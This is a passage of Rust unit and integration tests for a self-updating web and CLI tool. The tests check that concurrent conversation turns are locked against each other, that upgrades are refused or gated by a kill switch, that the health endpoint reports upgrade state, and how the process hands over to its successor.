16506        let ui = Ui::new(
16507            Queue::at(home.path().join("queue")),
16508            Questions::at(home.path().join("questions")),
16509            Talks::at(home.path().join("talks")),
16510            home.path().join("runs"),
16511            home.path().to_path_buf(),
16512            PathBuf::from("/repo"),
16513        )
16514        .with_worktrees_root(home.path().join("wt"));
16515        let id = "20260901-000000-once";
16516
16517        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
16518        let turn = ui.begin_talk_turn(id).expect("claim turn");
16519        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
16520        assert!(
16521            !ui.is_thinking("20260901-000000-other"),
16522            "one talk's turn does not make another talk busy"
16523        );
16524        drop(turn);
16525        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
16526    }
16527
16528    #[test]
16529    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
16530        let home = TempDir::new().expect("temp home");
16531        let talks = Talks::at(home.path().join("talks"));
16532        let ui = Ui::new(
16533            Queue::at(home.path().join("queue")),
16534            Questions::at(home.path().join("questions")),
16535            talks.clone(),
16536            home.path().join("runs"),
16537            home.path().to_path_buf(),
16538            PathBuf::from("/repo"),
16539        )
16540        .with_worktrees_root(home.path().join("wt"));
16541        let id = "20260901-000000-cross";
16542
16543        let other = Talks::at(home.path().join("talks"))
16544            .claim_turn(id)
16545            .expect("claim")
16546            .expect("the other process wins");
16547        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
16548        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
16549        assert!(
16550            matches!(
16551                ui.begin_talk_turn_unless_pending(id).expect("start"),
16552                TalkTurnStart::Foreign
16553            ),
16554            "a foreign holder is refused, not queued behind"
16555        );
16556        assert!(
16557            !ui.talk_turns.lock().unwrap().live.contains(id),
16558            "a refused claim leaves no in-process entry behind"
16559        );
16560        drop(other);
16561        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
16562        assert!(talks.turn_held(id), "the web turn holds the lease");
16563        drop(turn);
16564        assert!(
16565            !talks.turn_held(id),
16566            "dropping the guard releases the lease"
16567        );
16568    }
16569
16570    fn consult_question(ui: &Ui) -> Question {
16571        let mut q = Question::new(
16572            "20260901-000000-consult".to_owned(),
16573            "implement".to_owned(),
16574            "impl-A".to_owned(),
16575            "Which backend?".to_owned(),
16576            String::new(),
16577            vec!["SQLite".to_owned(), "Redis".to_owned()],
16578        );
16579        ui.questions.put(&mut q).expect("question");
16580        q
16581    }
16582
16583    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
16584        (
16585            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
16586            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
16587        )
16588    }
16589
16590    #[tokio::test]
16591    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
16592        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16593        let q = consult_question(&ui);
16594        let talk = ui.talks.get(&id).expect("talk");
16595        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
16596        let before = consult_snapshot(&ui, &q, &id);
16597        let cli_talks = Talks::at(ui.home.join("talks"));
16598        assert_eq!(
16599            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
16600                .await
16601                .expect("CLI starter"),
16602            crate::consult::Started::Busy
16603        );
16604        assert_eq!(consult_snapshot(&ui, &q, &id), before);
16605        assert!(ui.is_thinking(&id));
16606        drop(guard);
16607        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
16608    }
16609
16610    #[tokio::test]
16611    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
16612        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16613        let q = consult_question(&ui);
16614        let talk = ui.talks.get(&id).expect("talk");
16615        let started = tmp.path().join("started");
16616        let release = tmp.path().join("release");
16617        let script = tmp.path().join("consult-agent.sh");
16618        std::fs::write(
16619            &script,
16620            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
16621        )
16622        .expect("script");
16623        let mut cfg = stub_config();
16624        cfg.agents[0].id = "mock".to_owned();
16625        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
16626        cfg.agents[0].env = std::collections::BTreeMap::from([
16627            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
16628            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
16629        ]);
16630        let questions = ui.questions.clone();
16631        let cli_talks = Talks::at(ui.home.join("talks"));
16632        let cli_q = q.clone();
16633        let turn = tokio::spawn(async move {
16634            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
16635        });
16636        let ready = tokio::time::timeout(Duration::from_secs(30), async {
16637            while !started.exists() {
16638                tokio::time::sleep(Duration::from_millis(10)).await;
16639            }
16640        })
16641        .await;
16642        // Always release and join the agent, even if readiness or the web
16643        // request fails, so a failed assertion cannot leave a turn behind.
16644        let refusal = if ready.is_ok() {
16645            let before = consult_snapshot(&ui, &q, &id);
16646            let result = talk_say(
16647                State(Arc::clone(&ui)),
16648                Path(id.clone()),
16649                Ok(Json(NewTalkTurn {
16650                    text: "another message".to_owned(),
16651                    attachments: Vec::new(),
16652                })),
16653            )
16654            .await;
16655            Some((result, before, consult_snapshot(&ui, &q, &id)))
16656        } else {
16657            None
16658        };
16659        std::fs::write(&release, "").expect("release agent");
16660        let done = turn.await.expect("join CLI turn");
16661        ready.expect("agent started before deadline");
16662        let (result, before, after) = refusal.expect("web request");
16663        let error = result.expect_err("web must refuse the CLI's turn");
16664        assert_eq!(error.status, StatusCode::CONFLICT);
16665        assert!(error.message.contains("a turn is already running"));
16666        assert_eq!(
16667            after, before,
16668            "refusal preserves question, draft and history"
16669        );
16670        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
16671        let guard = ui
16672            .begin_talk_turn(&id)
16673            .expect("web claim")
16674            .expect("free again");
16675        drop(guard);
16676    }
16677
16678    #[test]
16679    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
16680        let home = TempDir::new().expect("temp home");
16681        let talks = Talks::at(home.path().join("talks"));
16682        let ui = Ui::new(
16683            Queue::at(home.path().join("queue")),
16684            Questions::at(home.path().join("questions")),
16685            talks.clone(),
16686            home.path().join("runs"),
16687            home.path().to_path_buf(),
16688            PathBuf::from("/repo"),
16689        )
16690        .with_worktrees_root(home.path().join("wt"));
16691        let id = "20260901-000000-order";
16692        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16693        // Hold the slot mutex so the drop can finish the lease but not the slot.
16694        let slots = ui.talk_turns.lock().unwrap();
16695        let dropper = std::thread::spawn(move || drop(turn));
16696        let start = std::time::Instant::now();
16697        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
16698            std::thread::sleep(Duration::from_millis(5));
16699        }
16700        assert!(!talks.turn_held(id), "the lease is released first");
16701        assert!(slots.live.contains(id), "the slot is still held meanwhile");
16702        drop(slots);
16703        dropper.join().expect("join");
16704        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
16705    }
16706
16707    #[tokio::test]
16708    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16709        let fx = Fixture::start().await;
16710        // Somebody else's `magi serve` owns the queue. Replacing this binary
16711        // would leave that process running an old one against the same
16712        // claims, which is worse than refusing.
16713        let mut beat = crate::daemon::Status::new();
16714        beat.pid = 4321;
16715        beat.updated_at = jiff::Timestamp::now();
16716        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16717            .expect("publish a heartbeat");
16718
16719        let res = fx.post("/api/upgrade", None).await;
16720        assert_eq!(res.status, 409);
16721        let err = res.json()["error"].as_str().unwrap().to_owned();
16722        assert!(err.contains("4321"), "the refusal names the owner: {err}");
16723        assert!(err.contains("old one against the same queue"), "{err}");
16724    }
16725
16726    /// [`should_spawn_recheck`] must refuse for the same two reasons
16727    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
16728    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
16729    /// Purely a predicate over config and the environment - no network, no
16730    /// disk, no runtime - so unlike the fixture-based tests around it this
16731    /// one needs neither.
16732    #[test]
16733    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16734        assert!(!should_spawn_recheck(&crate::config::Update {
16735            mode: UpdateMode::Off,
16736            interval: None,
16737        }));
16738
16739        // SAFETY: single-threaded as far as this variable goes, the same
16740        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
16741        unsafe {
16742            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16743        }
16744        let killed = should_spawn_recheck(&crate::config::Update {
16745            mode: UpdateMode::Notify,
16746            interval: None,
16747        });
16748        unsafe {
16749            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16750        }
16751        assert!(
16752            !killed,
16753            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16754             one-time startup check"
16755        );
16756
16757        assert!(should_spawn_recheck(&crate::config::Update {
16758            mode: UpdateMode::Notify,
16759            interval: None,
16760        }));
16761    }
16762
16763    /// [`recheck_poll_period`] must track a configured `[update] interval`
16764    /// shorter than its own default ceiling - a fixed sleep here would leave
16765    /// an operator's short interval waiting on the next wake-up instead of on
16766    /// `should_check`, which is the same bug this whole task exists to fix,
16767    /// just one level down.
16768    #[test]
16769    fn recheck_poll_period_tracks_a_short_configured_interval() {
16770        let short = crate::config::Update {
16771            mode: UpdateMode::Notify,
16772            interval: Some("1m".to_owned()),
16773        };
16774        let period = recheck_poll_period(&short);
16775        assert!(
16776            period <= Duration::from_secs(30),
16777            "a one-minute interval must wake the task far sooner than the \
16778             default ceiling, or the deck would not notice within the \
16779             interval the operator configured: got {period:?}"
16780        );
16781
16782        let default = crate::config::Update {
16783            mode: UpdateMode::Notify,
16784            interval: None,
16785        };
16786        assert_eq!(
16787            recheck_poll_period(&default),
16788            UPDATE_RECHECK_POLL_MAX,
16789            "the default day-long interval should poll at the (capped) \
16790             ceiling rather than needlessly often"
16791        );
16792    }
16793
16794    /// [`update_recheck_due`] must not repeat a check made moments ago, the
16795    /// same throttle `updater::Checker::should_check` already gives the
16796    /// CLI's notify mode. Built over an explicit state file via
16797    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
16798    /// write the operator's real `last_update_check.json` - and therefore
16799    /// cannot flake on whatever that file happens to say on the machine
16800    /// running the test.
16801    #[test]
16802    fn recheck_skips_the_network_before_the_interval_elapses() {
16803        let dir = TempDir::new().expect("temp dir");
16804        let path = dir.path().join("state.json");
16805        let state = kaishin::UpdateCheckState {
16806            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16807            last_known_latest: None,
16808            last_known_url: None,
16809        };
16810        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16811
16812        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16813        assert!(
16814            !update_recheck_due(&checker, None),
16815            "a check made moments ago must not be repeated before the \
16816             configured interval elapses"
16817        );
16818    }
16819
16820    /// An upgrade this deck already started must not be raced by a recheck
16821    /// that discovers a newer release mid-install - regardless of what
16822    /// `should_check` says, which is why the state file here is missing
16823    /// entirely: read alone, that alone would answer "never checked, go
16824    /// ahead".
16825    #[test]
16826    fn recheck_defers_to_an_upgrade_already_in_flight() {
16827        let dir = TempDir::new().expect("temp dir");
16828        let path = dir.path().join("state.json");
16829        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16830        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16831
16832        assert!(
16833            !update_recheck_due(&checker, Some(&progress)),
16834            "a recheck must not run while an upgrade this deck started is \
16835             still moving"
16836        );
16837    }
16838
16839    #[tokio::test]
16840    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16841        // The same env var the background check honours (`disabled_by_env`)
16842        // must also stop a button press before it ever calls
16843        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
16844        // means "never contact GitHub from this process", and a tap on the
16845        // upgrade button must not override that any more than a broken
16846        // `magi.toml` may. Left unset, this fixture's default config would
16847        // otherwise reach a real, unauthenticated GitHub call.
16848        //
16849        // SAFETY: single-threaded as far as this variable goes - nothing else
16850        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
16851        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
16852        unsafe {
16853            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16854        }
16855        let fx = Fixture::start().await;
16856        let res = fx.post("/api/upgrade", None).await;
16857        unsafe {
16858            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16859        }
16860        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16861        let body = res.json();
16862        assert!(body["to"].is_null(), "there was no release to move to");
16863        assert!(body["parked"].is_null(), "and nothing was parked");
16864        assert!(
16865            body["detail"]
16866                .as_str()
16867                .unwrap()
16868                .contains("disabled by MAGI_NO_AUTOUPDATE"),
16869            "{body:?}"
16870        );
16871    }
16872
16873    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
16874        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16875        p.stage = stage;
16876        p
16877    }
16878
16879    #[test]
16880    fn busy_stages_match_the_ui_set() {
16881        use crate::updater::Stage;
16882        assert!(APP_JS.contains(
16883            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16884        ));
16885        for s in [
16886            Stage::Downloading,
16887            Stage::Replaced,
16888            Stage::Parking,
16889            Stage::Restarting,
16890        ] {
16891            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16892        }
16893        for s in [Stage::Done, Stage::Failed] {
16894            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
16895        }
16896        assert!(upgrade_in_motion(None).is_none());
16897    }
16898
16899    #[tokio::test]
16900    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
16901        use crate::updater::Stage;
16902        for stage in [
16903            Stage::Downloading,
16904            Stage::Replaced,
16905            Stage::Parking,
16906            Stage::Restarting,
16907        ] {
16908            let fx = Fixture::start().await;
16909            let seeded = seeded_progress(stage);
16910            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
16911            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16912                .expect("read");
16913
16914            let res = fx.post("/api/upgrade", None).await;
16915            assert_eq!(res.status, 409, "{stage:?}");
16916            let err = res.json()["error"].as_str().unwrap().to_owned();
16917            assert!(err.contains("already in progress"), "{err}");
16918            assert!(err.contains(stage.as_str()), "{err}");
16919
16920            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16921                .expect("read");
16922            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
16923            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
16924                .unwrap_or_default();
16925            assert!(!log.contains("signalling HANDOVER"), "{log}");
16926        }
16927    }
16928
16929    #[tokio::test]
16930    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
16931        use crate::updater::Stage;
16932        let repo = TempDir::new().expect("repo dir");
16933        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16934            .expect("write magi.toml");
16935        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16936        for stage in [Stage::Done, Stage::Failed] {
16937            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
16938            let res = fx.post("/api/upgrade", None).await;
16939            assert_eq!(res.status, 200, "{stage:?}");
16940        }
16941        // No record at all, and the gate was released by the earlier calls.
16942        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
16943        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
16944    }
16945
16946    #[tokio::test]
16947    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
16948        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
16949        // and the route answers from its own logic.
16950        //
16951        // This test used to lean on the fixture's placeholder repo failing
16952        // config discovery, which left `mode = "notify"` - and a live,
16953        // unauthenticated call to the GitHub releases API inside a unit test.
16954        // GitHub allows 60 of those an hour per address, so the suite went red
16955        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
16956        // long as somebody kept re-running it: every attempt spent another
16957        // request. Six reruns across four pull requests were charged to that
16958        // before it was read as a rate limit rather than a flake.
16959        //
16960        // What the assertion is about is the "already current" branch, which
16961        // is reached by there being no newer release *or* nowhere to look. The
16962        // second one needs no network and cannot be rate limited.
16963        let repo = TempDir::new().expect("repo dir");
16964        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16965            .expect("write magi.toml");
16966        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16967
16968        // It must answer 200 and leave the process alone: restarting for an
16969        // upgrade that did not happen parks the run in flight and drops every
16970        // connection to pay for nothing. A probe against a deck already on the
16971        // newest build did exactly that, which is how this case got its own
16972        // branch.
16973        let res = fx.post("/api/upgrade", None).await;
16974        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16975        let body = res.json();
16976        assert!(body["to"].is_null(), "there was no release to move to");
16977        assert!(body["parked"].is_null(), "and nothing was parked");
16978        assert!(
16979            body["detail"]
16980                .as_str()
16981                .unwrap()
16982                .contains("nothing restarted"),
16983            "{body:?}"
16984        );
16985    }
16986
16987    #[tokio::test]
16988    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
16989        // `mode = "off"` for the same reason as the test above: a default
16990        // fixture repo falls back to `mode = "notify"`, which would make this
16991        // route's new `update` field a live, unauthenticated GitHub call on
16992        // every assertion in this suite that happens to hit `/api/health`.
16993        let repo = TempDir::new().expect("repo dir");
16994        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16995            .expect("write magi.toml");
16996        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16997
16998        let health = fx.get("/api/health").await.json();
16999        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17000        assert_eq!(
17001            health["update"]["available"], false,
17002            "checking is off, which reads as \"unknown\", not \"none\""
17003        );
17004        assert!(health["update"]["to"].is_null());
17005        assert!(
17006            health["upgrade"].is_null(),
17007            "nothing has ever asked this deck to upgrade"
17008        );
17009    }
17010
17011    #[tokio::test]
17012    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17013        let fx = Fixture::start().await;
17014        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17015
17016        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17017        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17018        progress.advance(crate::updater::Stage::Parking);
17019        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17020
17021        let health = fx.get("/api/health").await.json();
17022        assert_eq!(health["upgrade"]["stage"], "parking");
17023        assert_eq!(health["upgrade"]["from"], "0.5.1");
17024        assert_eq!(health["upgrade"]["to"], "0.5.2");
17025        let waiting_on = health["upgrade"]["waiting_on"]
17026            .as_str()
17027            .expect("waiting_on is set while parking a known run");
17028        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17029        assert!(waiting_on.contains("implementing"), "{waiting_on}");
17030    }
17031
17032    #[tokio::test]
17033    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17034        let fx = Fixture::start().await;
17035        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17036        progress.advance(crate::updater::Stage::Done);
17037        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17038
17039        let health = fx.get("/api/health").await.json();
17040        assert_eq!(health["upgrade"]["stage"], "done");
17041        assert!(
17042            health["upgrade"]["waiting_on"].is_null(),
17043            "nothing to wait on once it is done"
17044        );
17045    }
17046
17047    #[tokio::test]
17048    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17049        let home = TempDir::new().expect("temp home");
17050        let runs = home.path().join("runs");
17051        std::fs::create_dir_all(&runs).expect("runs dir");
17052        let ui = Ui::new(
17053            Queue::at(home.path().join("queue")),
17054            Questions::at(home.path().join("questions")),
17055            Talks::at(home.path().join("talks")),
17056            runs,
17057            home.path().to_path_buf(),
17058            PathBuf::from("/repo/magi"),
17059        )
17060        .with_launch(launch_idle);
17061        let looping = ui.looping();
17062        let turns = ui.turns();
17063        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17064            .await
17065            .expect("bind loopback");
17066        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17067
17068        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17069        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17070
17071        hand_over(
17072            home.path(),
17073            &looping,
17074            &turns,
17075            &|_: &[String]| Duration::from_secs(5),
17076            served,
17077            |_| Ok(1),
17078        )
17079        .await
17080        .expect("hand over");
17081
17082        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17083        assert_eq!(
17084            after.stage,
17085            crate::updater::Stage::Restarting,
17086            "hand_over owns the record through parking and up to restarting; \
17087             the successor is what finishes it"
17088        );
17089    }
17090
17091    /// The successor is started exactly once on success, and exactly once on
17092    /// failure too (a failed start is reported, never retried).
17093    #[tokio::test]
17094    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17095        for fail in [false, true] {
17096            let home = TempDir::new().expect("temp home");
17097            let ui = idle_ui(&home);
17098            let looping = ui.looping();
17099            let turns = ui.turns();
17100            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17101                .await
17102                .expect("bind loopback");
17103            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17104            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17105            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17106
17107            let calls = std::sync::atomic::AtomicUsize::new(0);
17108            let outcome = hand_over(
17109                home.path(),
17110                &looping,
17111                &turns,
17112                &|_: &[String]| Duration::from_secs(5),
17113                served,
17114                |_| {
17115                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17116                    if fail {
17117                        anyhow::bail!("no exec")
17118                    } else {
17119                        Ok(4242)
17120                    }
17121                },
17122            )
17123            .await;
17124            assert_eq!(outcome.is_err(), fail);
17125            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17126
17127            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17128                .expect("upgrade.log is written under the home");
17129            for step in [
17130                "entered",
17131                "finish_loop",
17132                "listener released",
17133                "starting the successor",
17134            ] {
17135                assert!(log.contains(step), "missing `{step}` in:\n{log}");
17136            }
17137            assert!(
17138                log.contains(if fail { "did not start" } else { "pid 4242" }),
17139                "{log}"
17140            );
17141        }
17142    }
17143
17144    /// The handover signal is seen however the race falls, and wakes its one
17145    /// waiter once per signal - nothing here can spin.
17146    #[tokio::test]
17147    async fn the_handover_signal_wakes_one_waiter_once() {
17148        let signal = Notify::new();
17149        // Signalled before anyone waits: the stored permit is not lost.
17150        signal.notify_one();
17151        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17152            .await
17153            .expect("an early signal is still seen");
17154        // One signal, one wake-up: a second wait does not resolve by itself.
17155        assert!(
17156            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17157                .await
17158                .is_err(),
17159            "a consumed signal must not wake a second time"
17160        );
17161        // Signalled while waiting.
17162        let signal = std::sync::Arc::new(signal);
17163        let waiter = tokio::spawn({
17164            let signal = std::sync::Arc::clone(&signal);
17165            async move { wait_for_handover(&signal).await }
17166        });
17167        tokio::time::sleep(Duration::from_millis(20)).await;
17168        assert!(!waiter.is_finished(), "nothing was signalled yet");
17169        signal.notify_one();
17170        tokio::time::timeout(Duration::from_secs(5), waiter)
17171            .await
17172            .expect("a late signal wakes the waiter")
17173            .expect("join");
17174    }
17175
17176    #[tokio::test]
17177    async fn health_says_how_long_a_handover_has_been_stuck() {
17178        let fx = Fixture::start().await;
17179        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17180        progress.advance(crate::updater::Stage::Replaced);
17181        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17182        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17183
17184        let health = fx.get("/api/health").await.json();
17185        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17186        assert!(stuck >= 600, "{stuck}");
17187        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17188        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17189    }
17190
17191    #[tokio::test]
17192    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17193        let home = tempfile::tempdir().expect("temp home");
17194        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17195        progress.advance(crate::updater::Stage::Parking);
17196        crate::updater::write_progress(home.path(), &progress).expect("seed");
17197        // What the second upgrade_and_restart and its handler do.
17198        let mut again = progress.clone();
17199        again.advance(crate::updater::Stage::Replaced);
17200        crate::updater::write_progress(home.path(), &again).expect("replaced");
17201        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17202        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17203        let after = crate::updater::read_progress(home.path()).expect("record");
17204        assert_eq!(after.stage, crate::updater::Stage::Parking);
17205    }
17206
17207    #[tokio::test]
17208    async fn health_does_not_call_a_live_parking_wait_stuck() {
17209        let fx = Fixture::start().await;
17210        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17211        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17212        progress.advance(crate::updater::Stage::Parking);
17213        let hours = Duration::from_secs(3 * 3600);
17214        progress.started_at = Timestamp::now() - hours;
17215        progress.updated_at = Timestamp::now() - hours;
17216        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17217        let _lease = crate::updater::LeaseGuard::enter(
17218            fx.home.path(),
17219            Some("20260905-000000-cd51".to_owned()),
17220        );
17221
17222        let health = fx.get("/api/health").await.json();
17223        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17224        assert!(health["upgrade"]["stuck_kind"].is_null());
17225        assert_eq!(health["upgrade"]["handover_alive"], true);
17226        let waiting_on = health["upgrade"]["waiting_on"]
17227            .as_str()
17228            .expect("waiting_on");
17229        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17230    }
17231
17232    fn idle_ui(home: &TempDir) -> Ui {
17233        let runs = home.path().join("runs");
17234        std::fs::create_dir_all(&runs).expect("runs dir");
17235        Ui::new(
17236            Queue::at(home.path().join("queue")),
17237            Questions::at(home.path().join("questions")),
17238            Talks::at(home.path().join("talks")),
17239            runs,
17240            home.path().to_path_buf(),
17241            PathBuf::from("/repo/magi"),
17242        )
17243        .with_launch(launch_idle)
17244    }
17245
17246    async fn park_fixture(
17247        home: &TempDir,
17248    ) -> (
17249        Ui,
17250        Arc<Mutex<LoopState>>,
17251        Arc<Mutex<TalkTurns>>,
17252        tokio::task::JoinHandle<std::io::Result<()>>,
17253    ) {
17254        let ui = idle_ui(home);
17255        let looping = ui.looping();
17256        let turns = ui.turns();
17257        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17258            .await
17259            .expect("bind loopback");
17260        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17261        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17262        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17263        (ui, looping, turns, served)
17264    }
17265
17266    /// The hand-over does not release the address while a chat turn is in
17267    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
17268    /// started once the turn ends.
17269    #[tokio::test]
17270    async fn hand_over_waits_for_a_running_chat_turn() {
17271        let home = TempDir::new().expect("temp home");
17272        let (ui, looping, turns, served) = park_fixture(&home).await;
17273        let ui = Arc::new(ui);
17274        let id = "20260901-000000-chat";
17275        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17276
17277        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17278        let handover = tokio::spawn({
17279            let home = home.path().to_path_buf();
17280            let turns = Arc::clone(&turns);
17281            let calls = Arc::clone(&calls);
17282            async move {
17283                hand_over(
17284                    &home,
17285                    &looping,
17286                    &turns,
17287                    &|_: &[String]| Duration::from_secs(60),
17288                    served,
17289                    move |_| {
17290                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17291                        Ok(1)
17292                    },
17293                )
17294                .await
17295            }
17296        });
17297
17298        let waiting = async {
17299            for _ in 0..200 {
17300                if crate::updater::read_progress(home.path())
17301                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
17302                {
17303                    return;
17304                }
17305                tokio::time::sleep(Duration::from_millis(25)).await;
17306            }
17307            panic!("the park never named the chat turn");
17308        };
17309        waiting.await;
17310        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17311
17312        // A new turn is refused, a queued claim and a direct `/say` see a busy
17313        // slot, and nothing new is live.
17314        let refused = ui.begin_talk_turn("20260901-000000-late").err();
17315        assert!(
17316            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17317            "a direct start says an upgrade is in progress"
17318        );
17319        assert!(
17320            ui.begin_queued_talk_turn("20260901-000000-late")
17321                .expect("queued claim")
17322                .is_none()
17323        );
17324        assert!(matches!(
17325            ui.begin_talk_turn_unless_pending("20260901-000000-late")
